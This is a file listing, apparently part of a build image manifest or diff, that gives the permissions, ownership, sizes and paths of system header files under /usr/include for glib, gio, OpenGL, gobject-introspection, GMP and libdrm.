+-rw-r--r-- root root 1469 ./usr/include/getopt.h
+drwxr-xr-x root root 4096 ./usr/include/gio-unix-2.0
+drwxr-xr-x root root 4096 ./usr/include/gio-unix-2.0/gio
+-rw-r--r-- root root 8679 ./usr/include/gio-unix-2.0/gio/gdesktopappinfo.h
+-rw-r--r-- root root 2218 ./usr/include/gio-unix-2.0/gio/gfiledescriptorbased.h
+-rw-r--r-- root root 5761 ./usr/include/gio-unix-2.0/gio/gunixconnection.h
+-rw-r--r-- root root 3197 ./usr/include/gio-unix-2.0/gio/gunixcredentialsmessage.h
+-rw-r--r-- root root 4245 ./usr/include/gio-unix-2.0/gio/gunixfdlist.h
+-rw-r--r-- root root 3767 ./usr/include/gio-unix-2.0/gio/gunixfdmessage.h
+-rw-r--r-- root root 3018 ./usr/include/gio-unix-2.0/gio/gunixinputstream.h
+-rw-r--r-- root root 7349 ./usr/include/gio-unix-2.0/gio/gunixmounts.h
+-rw-r--r-- root root 3050 ./usr/include/gio-unix-2.0/gio/gunixoutputstream.h
+-rw-r--r-- root root 3424 ./usr/include/gio-unix-2.0/gio/gunixsocketaddress.h
+drwxr-xr-x root root 4096 ./usr/include/GL
+-rw-r--r-- root root 421419 ./usr/include/GL/glcorearb.h
+-rw-r--r-- root root 848217 ./usr/include/GL/glext.h
+-rw-r--r-- root root 80393 ./usr/include/GL/gl.h
+-rw-r--r-- root root 48752 ./usr/include/GL/glxext.h
+-rw-r--r-- root root 14578 ./usr/include/GL/glx.h
+-rw-r--r-- root root 4695 ./usr/include/GL/glxint.h
+-rw-r--r-- root root 2085 ./usr/include/GL/glxmd.h
+-rw-r--r-- root root 78531 ./usr/include/GL/glxproto.h
+-rw-r--r-- root root 11429 ./usr/include/GL/glxtokens.h
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/gio
+-rw-r--r-- root root 1768 ./usr/include/glib-2.0/gio/gactiongroupexporter.h
+-rw-r--r-- root root 9167 ./usr/include/glib-2.0/gio/gactiongroup.h
+-rw-r--r-- root root 4610 ./usr/include/glib-2.0/gio/gaction.h
+-rw-r--r-- root root 3996 ./usr/include/glib-2.0/gio/gactionmap.h
+-rw-r--r-- root root 19095 ./usr/include/glib-2.0/gio/gappinfo.h
+-rw-r--r-- root root 6168 ./usr/include/glib-2.0/gio/gapplicationcommandline.h
+-rw-r--r-- root root 14551 ./usr/include/glib-2.0/gio/gapplication.h
+-rw-r--r-- root root 4423 ./usr/include/glib-2.0/gio/gasyncinitable.h
+-rw-r--r-- root root 2818 ./usr/include/glib-2.0/gio/gasyncresult.h
+-rw-r--r-- root root 5229 ./usr/include/glib-2.0/gio/gbufferedinputstream.h
+-rw-r--r-- root root 3334 ./usr/include/glib-2.0/gio/gbufferedoutputstream.h
+-rw-r--r-- root root 1652 ./usr/include/glib-2.0/gio/gbytesicon.h
+-rw-r--r-- root root 4058 ./usr/include/glib-2.0/gio/gcancellable.h
+-rw-r--r-- root root 2518 ./usr/include/glib-2.0/gio/gcharsetconverter.h
+-rw-r--r-- root root 2971 ./usr/include/glib-2.0/gio/gcontenttype.h
+-rw-r--r-- root root 2885 ./usr/include/glib-2.0/gio/gconverter.h
+-rw-r--r-- root root 3015 ./usr/include/glib-2.0/gio/gconverterinputstream.h
+-rw-r--r-- root root 3054 ./usr/include/glib-2.0/gio/gconverteroutputstream.h
+-rw-r--r-- root root 3408 ./usr/include/glib-2.0/gio/gcredentials.h
+-rw-r--r-- root root 6661 ./usr/include/glib-2.0/gio/gdatagrambased.h
+-rw-r--r-- root root 11140 ./usr/include/glib-2.0/gio/gdatainputstream.h
+-rw-r--r-- root root 4923 ./usr/include/glib-2.0/gio/gdataoutputstream.h
+-rw-r--r-- root root 2739 ./usr/include/glib-2.0/gio/gdbusactiongroup.h
+-rw-r--r-- root root 2670 ./usr/include/glib-2.0/gio/gdbusaddress.h
+-rw-r--r-- root root 2130 ./usr/include/glib-2.0/gio/gdbusauthobserver.h
+-rw-r--r-- root root 38873 ./usr/include/glib-2.0/gio/gdbusconnection.h
+-rw-r--r-- root root 4306 ./usr/include/glib-2.0/gio/gdbuserror.h
+-rw-r--r-- root root 3069 ./usr/include/glib-2.0/gio/gdbusinterface.h
+-rw-r--r-- root root 6055 ./usr/include/glib-2.0/gio/gdbusinterfaceskeleton.h
+-rw-r--r-- root root 12393 ./usr/include/glib-2.0/gio/gdbusintrospection.h
+-rw-r--r-- root root 1730 ./usr/include/glib-2.0/gio/gdbusmenumodel.h
+-rw-r--r-- root root 11383 ./usr/include/glib-2.0/gio/gdbusmessage.h
+-rw-r--r-- root root 5801 ./usr/include/glib-2.0/gio/gdbusmethodinvocation.h
+-rw-r--r-- root root 4877 ./usr/include/glib-2.0/gio/gdbusnameowning.h
+-rw-r--r-- root root 4521 ./usr/include/glib-2.0/gio/gdbusnamewatching.h
+-rw-r--r-- root root 2941 ./usr/include/glib-2.0/gio/gdbusobject.h
+-rw-r--r-- root root 9800 ./usr/include/glib-2.0/gio/gdbusobjectmanagerclient.h
+-rw-r--r-- root root 4474 ./usr/include/glib-2.0/gio/gdbusobjectmanager.h
+-rw-r--r-- root root 4120 ./usr/include/glib-2.0/gio/gdbusobjectmanagerserver.h
+-rw-r--r-- root root 2635 ./usr/include/glib-2.0/gio/gdbusobjectproxy.h
+-rw-r--r-- root root 3957 ./usr/include/glib-2.0/gio/gdbusobjectskeleton.h
+-rw-r--r-- root root 12082 ./usr/include/glib-2.0/gio/gdbusproxy.h
+-rw-r--r-- root root 2534 ./usr/include/glib-2.0/gio/gdbusserver.h
+-rw-r--r-- root root 1779 ./usr/include/glib-2.0/gio/gdbusutils.h
+-rw-r--r-- root root 14503 ./usr/include/glib-2.0/gio/gdrive.h
+-rw-r--r-- root root 3197 ./usr/include/glib-2.0/gio/gdtlsclientconnection.h
+-rw-r--r-- root root 11430 ./usr/include/glib-2.0/gio/gdtlsconnection.h
+-rw-r--r-- root root 2446 ./usr/include/glib-2.0/gio/gdtlsserverconnection.h
+-rw-r--r-- root root 2788 ./usr/include/glib-2.0/gio/gemblemedicon.h
+-rw-r--r-- root root 2155 ./usr/include/glib-2.0/gio/gemblem.h
+-rw-r--r-- root root 2801 ./usr/include/glib-2.0/gio/gfileattribute.h
+-rw-r--r-- root root 6393 ./usr/include/glib-2.0/gio/gfileenumerator.h
+-rw-r--r-- root root 79870 ./usr/include/glib-2.0/gio/gfile.h
+-rw-r--r-- root root 1959 ./usr/include/glib-2.0/gio/gfileicon.h
+-rw-r--r-- root root 44335 ./usr/include/glib-2.0/gio/gfileinfo.h
+-rw-r--r-- root root 4656 ./usr/include/glib-2.0/gio/gfileinputstream.h
+-rw-r--r-- root root 5041 ./usr/include/glib-2.0/gio/gfileiostream.h
+-rw-r--r-- root root 3280 ./usr/include/glib-2.0/gio/gfilemonitor.h
+-rw-r--r-- root root 3090 ./usr/include/glib-2.0/gio/gfilenamecompleter.h
+-rw-r--r-- root root 5338 ./usr/include/glib-2.0/gio/gfileoutputstream.h
+-rw-r--r-- root root 2832 ./usr/include/glib-2.0/gio/gfilterinputstream.h
+-rw-r--r-- root root 2875 ./usr/include/glib-2.0/gio/gfilteroutputstream.h
+-rw-r--r-- root root 3435 ./usr/include/glib-2.0/gio/gicon.h
+-rw-r--r-- root root 4529 ./usr/include/glib-2.0/gio/ginetaddress.h
+-rw-r--r-- root root 3119 ./usr/include/glib-2.0/gio/ginetaddressmask.h
+-rw-r--r-- root root 3111 ./usr/include/glib-2.0/gio/ginetsocketaddress.h
+-rw-r--r-- root root 2976 ./usr/include/glib-2.0/gio/ginitable.h
+-rw-r--r-- root root 9188 ./usr/include/glib-2.0/gio/ginputstream.h
+-rw-r--r-- root root 9066 ./usr/include/glib-2.0/gio/gio-autocleanups.h
+-rw-r--r-- root root 76503 ./usr/include/glib-2.0/gio/gioenums.h
+-rw-r--r-- root root 12517 ./usr/include/glib-2.0/gio/gioenumtypes.h
+-rw-r--r-- root root 1558 ./usr/include/glib-2.0/gio/gioerror.h
+-rw-r--r-- root root 5646 ./usr/include/glib-2.0/gio/gio.h
+-rw-r--r-- root root 8064 ./usr/include/glib-2.0/gio/giomodule.h
+-rw-r--r-- root root 1999 ./usr/include/glib-2.0/gio/gioscheduler.h
+-rw-r--r-- root root 4862 ./usr/include/glib-2.0/gio/giostream.h
+-rw-r--r-- root root 24681 ./usr/include/glib-2.0/gio/giotypes.h
+-rw-r--r-- root root 2576 ./usr/include/glib-2.0/gio/glistmodel.h
+-rw-r--r-- root root 4178 ./usr/include/glib-2.0/gio/gliststore.h
+-rw-r--r-- root root 3671 ./usr/include/glib-2.0/gio/gloadableicon.h
+-rw-r--r-- root root 3434 ./usr/include/glib-2.0/gio/gmemoryinputstream.h
+-rw-r--r-- root root 2140 ./usr/include/glib-2.0/gio/gmemorymonitor.h
+-rw-r--r-- root root 3933 ./usr/include/glib-2.0/gio/gmemoryoutputstream.h
+-rw-r--r-- root root 1611 ./usr/include/glib-2.0/gio/gmenuexporter.h
+-rw-r--r-- root root 8940 ./usr/include/glib-2.0/gio/gmenu.h
+-rw-r--r-- root root 14334 ./usr/include/glib-2.0/gio/gmenumodel.h
+-rw-r--r-- root root 15791 ./usr/include/glib-2.0/gio/gmount.h
+-rw-r--r-- root root 6765 ./usr/include/glib-2.0/gio/gmountoperation.h
+-rw-r--r-- root root 2536 ./usr/include/glib-2.0/gio/gnativesocketaddress.h
+-rw-r--r-- root root 2270 ./usr/include/glib-2.0/gio/gnativevolumemonitor.h
+-rw-r--r-- root root 2956 ./usr/include/glib-2.0/gio/gnetworkaddress.h
+-rw-r--r-- root root 1994 ./usr/include/glib-2.0/gio/gnetworking.h
+-rw-r--r-- root root 4239 ./usr/include/glib-2.0/gio/gnetworkmonitor.h
+-rw-r--r-- root root 2756 ./usr/include/glib-2.0/gio/gnetworkservice.h
+-rw-r--r-- root root 4898 ./usr/include/glib-2.0/gio/gnotification.h
+-rw-r--r-- root root 15760 ./usr/include/glib-2.0/gio/goutputstream.h
+-rw-r--r-- root root 5862 ./usr/include/glib-2.0/gio/gpermission.h
+-rw-r--r-- root root 3829 ./usr/include/glib-2.0/gio/gpollableinputstream.h
+-rw-r--r-- root root 4919 ./usr/include/glib-2.0/gio/gpollableoutputstream.h
+-rw-r--r-- root root 2134 ./usr/include/glib-2.0/gio/gpollableutils.h
+-rw-r--r-- root root 1994 ./usr/include/glib-2.0/gio/gpropertyaction.h
+-rw-r--r-- root root 2939 ./usr/include/glib-2.0/gio/gproxyaddressenumerator.h
+-rw-r--r-- root root 3166 ./usr/include/glib-2.0/gio/gproxyaddress.h
+-rw-r--r-- root root 4067 ./usr/include/glib-2.0/gio/gproxy.h
+-rw-r--r-- root root 3393 ./usr/include/glib-2.0/gio/gproxyresolver.h
+-rw-r--r-- root root 3635 ./usr/include/glib-2.0/gio/gremoteactiongroup.h
+-rw-r--r-- root root 16852 ./usr/include/glib-2.0/gio/gresolver.h
+-rw-r--r-- root root 4651 ./usr/include/glib-2.0/gio/gresource.h
+-rw-r--r-- root root 3280 ./usr/include/glib-2.0/gio/gseekable.h
+-rw-r--r-- root root 8508 ./usr/include/glib-2.0/gio/gsettingsbackend.h
+-rw-r--r-- root root 21148 ./usr/include/glib-2.0/gio/gsettings.h
+-rw-r--r-- root root 5933 ./usr/include/glib-2.0/gio/gsettingsschema.h
+-rw-r--r-- root root 4355 ./usr/include/glib-2.0/gio/gsimpleactiongroup.h
+-rw-r--r-- root root 2915 ./usr/include/glib-2.0/gio/gsimpleaction.h
+-rw-r--r-- root root 7809 ./usr/include/glib-2.0/gio/gsimpleasyncresult.h
+-rw-r--r-- root root 1722 ./usr/include/glib-2.0/gio/gsimpleiostream.h
+-rw-r--r-- root root 1686 ./usr/include/glib-2.0/gio/gsimplepermission.h
+-rw-r--r-- root root 3531 ./usr/include/glib-2.0/gio/gsimpleproxyresolver.h
+-rw-r--r-- root root 3897 ./usr/include/glib-2.0/gio/gsocketaddressenumerator.h
+-rw-r--r-- root root 3086 ./usr/include/glib-2.0/gio/gsocketaddress.h
+-rw-r--r-- root root 11211 ./usr/include/glib-2.0/gio/gsocketclient.h
+-rw-r--r-- root root 2886 ./usr/include/glib-2.0/gio/gsocketconnectable.h
+-rw-r--r-- root root 5056 ./usr/include/glib-2.0/gio/gsocketconnection.h
+-rw-r--r-- root root 4886 ./usr/include/glib-2.0/gio/gsocketcontrolmessage.h
+-rw-r--r-- root root 16181 ./usr/include/glib-2.0/gio/gsocket.h
+-rw-r--r-- root root 7680 ./usr/include/glib-2.0/gio/gsocketlistener.h
+-rw-r--r-- root root 3620 ./usr/include/glib-2.0/gio/gsocketservice.h
+-rw-r--r-- root root 1936 ./usr/include/glib-2.0/gio/gsrvtarget.h
+-rw-r--r-- root root 8606 ./usr/include/glib-2.0/gio/gsubprocess.h
+-rw-r--r-- root root 6399 ./usr/include/glib-2.0/gio/gsubprocesslauncher.h
+-rw-r--r-- root root 8278 ./usr/include/glib-2.0/gio/gtask.h
+-rw-r--r-- root root 2957 ./usr/include/glib-2.0/gio/gtcpconnection.h
+-rw-r--r-- root root 2973 ./usr/include/glib-2.0/gio/gtcpwrapperconnection.h
+-rw-r--r-- root root 2303 ./usr/include/glib-2.0/gio/gtestdbus.h
+-rw-r--r-- root root 2643 ./usr/include/glib-2.0/gio/gthemedicon.h
+-rw-r--r-- root root 3665 ./usr/include/glib-2.0/gio/gthreadedsocketservice.h
+-rw-r--r-- root root 4587 ./usr/include/glib-2.0/gio/gtlsbackend.h
+-rw-r--r-- root root 3505 ./usr/include/glib-2.0/gio/gtlscertificate.h
+-rw-r--r-- root root 3683 ./usr/include/glib-2.0/gio/gtlsclientconnection.h
+-rw-r--r-- root root 6575 ./usr/include/glib-2.0/gio/gtlsconnection.h
+-rw-r--r-- root root 17271 ./usr/include/glib-2.0/gio/gtlsdatabase.h
+-rw-r--r-- root root 1909 ./usr/include/glib-2.0/gio/gtlsfiledatabase.h
+-rw-r--r-- root root 8333 ./usr/include/glib-2.0/gio/gtlsinteraction.h
+-rw-r--r-- root root 4818 ./usr/include/glib-2.0/gio/gtlspassword.h
+-rw-r--r-- root root 2348 ./usr/include/glib-2.0/gio/gtlsserverconnection.h
+-rw-r--r-- root root 6616 ./usr/include/glib-2.0/gio/gvfs.h
+-rw-r--r-- root root 11736 ./usr/include/glib-2.0/gio/gvolume.h
+-rw-r--r-- root root 5998 ./usr/include/glib-2.0/gio/gvolumemonitor.h
+-rw-r--r-- root root 2350 ./usr/include/glib-2.0/gio/gzlibcompressor.h
+-rw-r--r-- root root 2212 ./usr/include/glib-2.0/gio/gzlibdecompressor.h
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/glib
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/glib/deprecated
+-rw-r--r-- root root 3256 ./usr/include/glib-2.0/glib/deprecated/gallocator.h
+-rw-r--r-- root root 2987 ./usr/include/glib-2.0/glib/deprecated/gcache.h
+-rw-r--r-- root root 2922 ./usr/include/glib-2.0/glib/deprecated/gcompletion.h
+-rw-r--r-- root root 4392 ./usr/include/glib-2.0/glib/deprecated/gmain.h
+-rw-r--r-- root root 3682 ./usr/include/glib-2.0/glib/deprecated/grel.h
+-rw-r--r-- root root 10938 ./usr/include/glib-2.0/glib/deprecated/gthread.h
+-rw-r--r-- root root 3912 ./usr/include/glib-2.0/glib/galloca.h
+-rw-r--r-- root root 11385 ./usr/include/glib-2.0/glib/garray.h
+-rw-r--r-- root root 5726 ./usr/include/glib-2.0/glib/gasyncqueue.h
+-rw-r--r-- root root 23740 ./usr/include/glib-2.0/glib/gatomic.h
+-rw-r--r-- root root 2727 ./usr/include/glib-2.0/glib/gbacktrace.h
+-rw-r--r-- root root 2323 ./usr/include/glib-2.0/glib/gbase64.h
+-rw-r--r-- root root 2902 ./usr/include/glib-2.0/glib/gbitlock.h
+-rw-r--r-- root root 9596 ./usr/include/glib-2.0/glib/gbookmarkfile.h
+-rw-r--r-- root root 3334 ./usr/include/glib-2.0/glib/gbytes.h
+-rw-r--r-- root root 1578 ./usr/include/glib-2.0/glib/gcharset.h
+-rw-r--r-- root root 3864 ./usr/include/glib-2.0/glib/gchecksum.h
+-rw-r--r-- root root 5923 ./usr/include/glib-2.0/glib/gconvert.h
+-rw-r--r-- root root 6245 ./usr/include/glib-2.0/glib/gdataset.h
+-rw-r--r-- root root 12420 ./usr/include/glib-2.0/glib/gdate.h
+-rw-r--r-- root root 12738 ./usr/include/glib-2.0/glib/gdatetime.h
+-rw-r--r-- root root 1641 ./usr/include/glib-2.0/glib/gdir.h
+-rw-r--r-- root root 2364 ./usr/include/glib-2.0/glib/genviron.h
+-rw-r--r-- root root 3943 ./usr/include/glib-2.0/glib/gerror.h
+-rw-r--r-- root root 5813 ./usr/include/glib-2.0/glib/gfileutils.h
+-rw-r--r-- root root 2424 ./usr/include/glib-2.0/glib/ggettext.h
+-rw-r--r-- root root 7886 ./usr/include/glib-2.0/glib/ghash.h
+-rw-r--r-- root root 3469 ./usr/include/glib-2.0/glib/ghmac.h
+-rw-r--r-- root root 6358 ./usr/include/glib-2.0/glib/ghook.h
+-rw-r--r-- root root 1456 ./usr/include/glib-2.0/glib/ghostutils.h
+-rw-r--r-- root root 1167 ./usr/include/glib-2.0/glib/gi18n.h
+-rw-r--r-- root root 1370 ./usr/include/glib-2.0/glib/gi18n-lib.h
+-rw-r--r-- root root 13954 ./usr/include/glib-2.0/glib/giochannel.h
+-rw-r--r-- root root 14913 ./usr/include/glib-2.0/glib/gkeyfile.h
+-rw-r--r-- root root 4789 ./usr/include/glib-2.0/glib/glib-autocleanups.h
+-rw-r--r-- root root 6930 ./usr/include/glib-2.0/glib/glist.h
+-rw-r--r-- root root 42372 ./usr/include/glib-2.0/glib/gmacros.h
+-rw-r--r-- root root 28138 ./usr/include/glib-2.0/glib/gmain.h
+-rw-r--r-- root root 1986 ./usr/include/glib-2.0/glib/gmappedfile.h
+-rw-r--r-- root root 10876 ./usr/include/glib-2.0/glib/gmarkup.h
+-rw-r--r-- root root 14684 ./usr/include/glib-2.0/glib/gmem.h
+-rw-r--r-- root root 26913 ./usr/include/glib-2.0/glib/gmessages.h
+-rw-r--r-- root root 8700 ./usr/include/glib-2.0/glib/gnode.h
+-rw-r--r-- root root 16099 ./usr/include/glib-2.0/glib/goption.h
+-rw-r--r-- root root 1782 ./usr/include/glib-2.0/glib/gpattern.h
+-rw-r--r-- root root 4125 ./usr/include/glib-2.0/glib/gpoll.h
+-rw-r--r-- root root 1694 ./usr/include/glib-2.0/glib/gprimes.h
+-rw-r--r-- root root 1984 ./usr/include/glib-2.0/glib/gprintf.h
+-rw-r--r-- root root 1499 ./usr/include/glib-2.0/glib/gqsort.h
+-rw-r--r-- root root 2688 ./usr/include/glib-2.0/glib/gquark.h
+-rw-r--r-- root root 7750 ./usr/include/glib-2.0/glib/gqueue.h
+-rw-r--r-- root root 3182 ./usr/include/glib-2.0/glib/grand.h
+-rw-r--r-- root root 3764 ./usr/include/glib-2.0/glib/grcbox.h
+-rw-r--r-- root root 3988 ./usr/include/glib-2.0/glib/grefcount.h
+-rw-r--r-- root root 1868 ./usr/include/glib-2.0/glib/grefstring.h
+-rw-r--r-- root root 28095 ./usr/include/glib-2.0/glib/gregex.h
+-rw-r--r-- root root 8861 ./usr/include/glib-2.0/glib/gscanner.h
+-rw-r--r-- root root 8811 ./usr/include/glib-2.0/glib/gsequence.h
+-rw-r--r-- root root 1752 ./usr/include/glib-2.0/glib/gshell.h
+-rw-r--r-- root root 3892 ./usr/include/glib-2.0/glib/gslice.h
+-rw-r--r-- root root 6551 ./usr/include/glib-2.0/glib/gslist.h
+-rw-r--r-- root root 11874 ./usr/include/glib-2.0/glib/gspawn.h
+-rw-r--r-- root root 5109 ./usr/include/glib-2.0/glib/gstdio.h
+-rw-r--r-- root root 13232 ./usr/include/glib-2.0/glib/gstrfuncs.h
+-rw-r--r-- root root 2130 ./usr/include/glib-2.0/glib/gstringchunk.h
+-rw-r--r-- root root 8045 ./usr/include/glib-2.0/glib/gstring.h
+-rw-r--r-- root root 31435 ./usr/include/glib-2.0/glib/gtestutils.h
+-rw-r--r-- root root 17496 ./usr/include/glib-2.0/glib/gthread.h
+-rw-r--r-- root root 3824 ./usr/include/glib-2.0/glib/gthreadpool.h
+-rw-r--r-- root root 2576 ./usr/include/glib-2.0/glib/gtimer.h
+-rw-r--r-- root root 3723 ./usr/include/glib-2.0/glib/gtimezone.h
+-rw-r--r-- root root 1906 ./usr/include/glib-2.0/glib/gtrashstack.h
+-rw-r--r-- root root 4194 ./usr/include/glib-2.0/glib/gtree.h
+-rw-r--r-- root root 20493 ./usr/include/glib-2.0/glib/gtypes.h
+-rw-r--r-- root root 40690 ./usr/include/glib-2.0/glib/gunicode.h
+-rw-r--r-- root root 2716 ./usr/include/glib-2.0/glib/gurifuncs.h
+-rw-r--r-- root root 14564 ./usr/include/glib-2.0/glib/gutils.h
+-rw-r--r-- root root 1291 ./usr/include/glib-2.0/glib/guuid.h
+-rw-r--r-- root root 29560 ./usr/include/glib-2.0/glib/gvariant.h
+-rw-r--r-- root root 13244 ./usr/include/glib-2.0/glib/gvarianttype.h
+-rw-r--r-- root root 1981 ./usr/include/glib-2.0/glib/gversion.h
+-rw-r--r-- root root 40799 ./usr/include/glib-2.0/glib/gversionmacros.h
+-rw-r--r-- root root 4667 ./usr/include/glib-2.0/glib/gwin32.h
+-rw-r--r-- root root 3381 ./usr/include/glib-2.0/glib.h
+-rw-r--r-- root root 1462 ./usr/include/glib-2.0/glib-object.h
+-rw-r--r-- root root 4461 ./usr/include/glib-2.0/glib-unix.h
+-rw-r--r-- root root 4318 ./usr/include/glib-2.0/gmodule.h
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/gobject
+-rw-r--r-- root root 6342 ./usr/include/glib-2.0/gobject/gbinding.h
+-rw-r--r-- root root 3965 ./usr/include/glib-2.0/gobject/gboxed.h
+-rw-r--r-- root root 11053 ./usr/include/glib-2.0/gobject/gclosure.h
+-rw-r--r-- root root 8041 ./usr/include/glib-2.0/gobject/genums.h
+-rw-r--r-- root root 1026 ./usr/include/glib-2.0/gobject/glib-enumtypes.h
+-rw-r--r-- root root 8656 ./usr/include/glib-2.0/gobject/glib-types.h
+-rw-r--r-- root root 21841 ./usr/include/glib-2.0/gobject/gmarshal.h
+-rw-r--r-- root root 1382 ./usr/include/glib-2.0/gobject/gobject-autocleanups.h
+-rw-r--r-- root root 34088 ./usr/include/glib-2.0/gobject/gobject.h
+-rw-r--r-- root root 5516 ./usr/include/glib-2.0/gobject/gobjectnotifyqueue.c
+-rw-r--r-- root root 16431 ./usr/include/glib-2.0/gobject/gparam.h
+-rw-r--r-- root root 34850 ./usr/include/glib-2.0/gobject/gparamspecs.h
+-rw-r--r-- root root 24872 ./usr/include/glib-2.0/gobject/gsignal.h
+-rw-r--r-- root root 1275 ./usr/include/glib-2.0/gobject/gsourceclosure.h
+-rw-r--r-- root root 92450 ./usr/include/glib-2.0/gobject/gtype.h
+-rw-r--r-- root root 10837 ./usr/include/glib-2.0/gobject/gtypemodule.h
+-rw-r--r-- root root 4965 ./usr/include/glib-2.0/gobject/gtypeplugin.h
+-rw-r--r-- root root 3218 ./usr/include/glib-2.0/gobject/gvaluearray.h
+-rw-r--r-- root root 9817 ./usr/include/glib-2.0/gobject/gvaluecollector.h
+-rw-r--r-- root root 5656 ./usr/include/glib-2.0/gobject/gvalue.h
+-rw-r--r-- root root 9653 ./usr/include/glib-2.0/gobject/gvaluetypes.h
+drwxr-xr-x root root 4096 ./usr/include/GL/internal
+-rw-r--r-- root root 78637 ./usr/include/GL/internal/dri_interface.h
+-rw-r--r-- root root 6315 ./usr/include/GL/internal/glcore.h
+-rw-r--r-- root root 6617 ./usr/include/glob.h
+-rw-r--r-- root root 84177 ./usr/include/gmp-64.h
+-rw-r--r-- root root 500 ./usr/include/gmp.h
+-rw-r--r-- root root 129113 ./usr/include/gmpxx.h
+drwxr-xr-x root root 4096 ./usr/include/gnu
+-rw-r--r-- root root 1264 ./usr/include/gnu/libc-version.h
+-rw-r--r-- root root 1665 ./usr/include/gnu/lib-names-64.h
+-rw-r--r-- root root 467 ./usr/include/gnu/lib-names.h
+-rw-r--r-- root root 2912 ./usr/include/gnumake.h
+-rw-r--r-- root root 523 ./usr/include/gnu/stubs-64.h
+-rw-r--r-- root root 384 ./usr/include/gnu/stubs.h
+-rw-r--r-- root root 2343 ./usr/include/gnu-versions.h
+drwxr-xr-x root root 4096 ./usr/include/gobject-introspection-1.0
+-rw-r--r-- root root 2622 ./usr/include/gobject-introspection-1.0/giarginfo.h
+-rw-r--r-- root root 3275 ./usr/include/gobject-introspection-1.0/gibaseinfo.h
+-rw-r--r-- root root 4523 ./usr/include/gobject-introspection-1.0/gicallableinfo.h
+-rw-r--r-- root root 1769 ./usr/include/gobject-introspection-1.0/giconstantinfo.h
+-rw-r--r-- root root 2348 ./usr/include/gobject-introspection-1.0/gienuminfo.h
+-rw-r--r-- root root 2129 ./usr/include/gobject-introspection-1.0/gifieldinfo.h
+-rw-r--r-- root root 2877 ./usr/include/gobject-introspection-1.0/gifunctioninfo.h
+-rw-r--r-- root root 3418 ./usr/include/gobject-introspection-1.0/giinterfaceinfo.h
+-rw-r--r-- root root 6060 ./usr/include/gobject-introspection-1.0/giobjectinfo.h
+-rw-r--r-- root root 1685 ./usr/include/gobject-introspection-1.0/gipropertyinfo.h
+-rw-r--r-- root root 2363 ./usr/include/gobject-introspection-1.0/giregisteredtypeinfo.h
+-rw-r--r-- root root 8052 ./usr/include/gobject-introspection-1.0/girepository.h
+-rw-r--r-- root root 3468 ./usr/include/gobject-introspection-1.0/girffi.h
+-rw-r--r-- root root 1696 ./usr/include/gobject-introspection-1.0/gisignalinfo.h
+-rw-r--r-- root root 2403 ./usr/include/gobject-introspection-1.0/gistructinfo.h
+-rw-r--r-- root root 2556 ./usr/include/gobject-introspection-1.0/gitypeinfo.h
+-rw-r--r-- root root 2327 ./usr/include/gobject-introspection-1.0/gitypelib.h
+-rw-r--r-- root root 14019 ./usr/include/gobject-introspection-1.0/gitypes.h
+-rw-r--r-- root root 2558 ./usr/include/gobject-introspection-1.0/giunioninfo.h
+-rw-r--r-- root root 1578 ./usr/include/gobject-introspection-1.0/giversion.h
+-rw-r--r-- root root 5730 ./usr/include/gobject-introspection-1.0/giversionmacros.h
+-rw-r--r-- root root 2572 ./usr/include/gobject-introspection-1.0/givfuncinfo.h
+-rw-r--r-- root root 6687 ./usr/include/grp.h
+-rw-r--r-- root root 4529 ./usr/include/gshadow.h
+-rw-r--r-- root root 1858 ./usr/include/iconv.h
+-rw-r--r-- root root 4916 ./usr/include/ieee754.h
+-rw-r--r-- root root 2841 ./usr/include/ifaddrs.h
+-rw-r--r-- root root 2446 ./usr/include/initreq.h
+-rw-r--r-- root root 11893 ./usr/include/inttypes.h
+drwxr-xr-x root root 4096 ./usr/include/iproute2
+-rw-r--r-- root root 1271 ./usr/include/iproute2/bpf_elf.h
+-rw-r--r-- root root 17849 ./usr/include/langinfo.h
+-rw-r--r-- root root 126 ./usr/include/lastlog.h
+drwxr-xr-x root root 4096 ./usr/include/libdrm
+-rw-r--r-- root root 31894 ./usr/include/libdrm/amdgpu_drm.h
+-rw-r--r-- root root 55079 ./usr/include/libdrm/amdgpu.h
+-rw-r--r-- root root 32818 ./usr/include/libdrm/drm_fourcc.h
+-rw-r--r-- root root 32306 ./usr/include/libdrm/drm.h
+-rw-r--r-- root root 24920 ./usr/include/libdrm/drm_mode.h
+-rw-r--r-- root root 2782 ./usr/include/libdrm/drm_sarea.h
+-rw-r--r-- root root 6977 ./usr/include/libdrm/etnaviv_drmif.h
+-rw-r--r-- root root 62951 ./usr/include/libdrm/i915_drm.h
+-rw-r--r-- root root 5933 ./usr/include/libdrm/intel_aub.h
+-rw-r--r-- root root 12892 ./usr/include/libdrm/intel_bufmgr.h
+-rw-r--r-- root root 1585 ./usr/include/libdrm/intel_debug.h
+-rw-r--r-- root root 7895 ./usr/include/libdrm/mach64_drm.h
+-rw-r--r-- root root 13010 ./usr/include/libdrm/mga_drm.h
+-rw-r--r-- root root 12105 ./usr/include/libdrm/msm_drm.h
+drwxr-xr-x root root 4096 ./usr/include/libdrm/nouveau
+-rw-r--r-- root root 5699 ./usr/include/libdrm/nouveau_drm.h
+-rw-r--r-- root root 7766 ./usr/include/libdrm/nouveau/nouveau.h
+drwxr-xr-x root root 4096 ./usr/include/libdrm/nouveau/nvif
+-rw-r--r-- root root 1785 ./usr/include/libdrm/nouveau/nvif/cl0080.h
+-rw-r--r-- root root 2062 ./usr/include/libdrm/nouveau/nvif/cl9097.h
+-rw-r--r-- root root 8789 ./usr/include/libdrm/nouveau/nvif/class.h
+-rw-r--r-- root root 769 ./usr/include/libdrm/nouveau/nvif/if0002.h
+-rw-r--r-- root root 645 ./usr/include/libdrm/nouveau/nvif/if0003.h
+-rw-r--r-- root root 3174 ./usr/include/libdrm/nouveau/nvif/ioctl.h
+-rw-r--r-- root root 1551 ./usr/include/libdrm/nouveau/nvif/unpack.h
+-rw-r--r-- root root 2555 ./usr/include/libdrm/omap_drmif.h
+-rw-r--r-- root root 4131 ./usr/include/libdrm/qxl_drm.h
+-rw-r--r-- root root 10000 ./usr/include/libdrm/r128_drm.h
+-rw-r--r-- root root 16388 ./usr/include/libdrm/r600_pci_ids.h
+-rw-r--r-- root root 1991 ./usr/include/libdrm/radeon_bo_gem.h
+-rw-r--r-- root root 2839 ./usr/include/libdrm/radeon_bo.h
+-rw-r--r-- root root 1678 ./usr/include/libdrm/radeon_bo_int.h
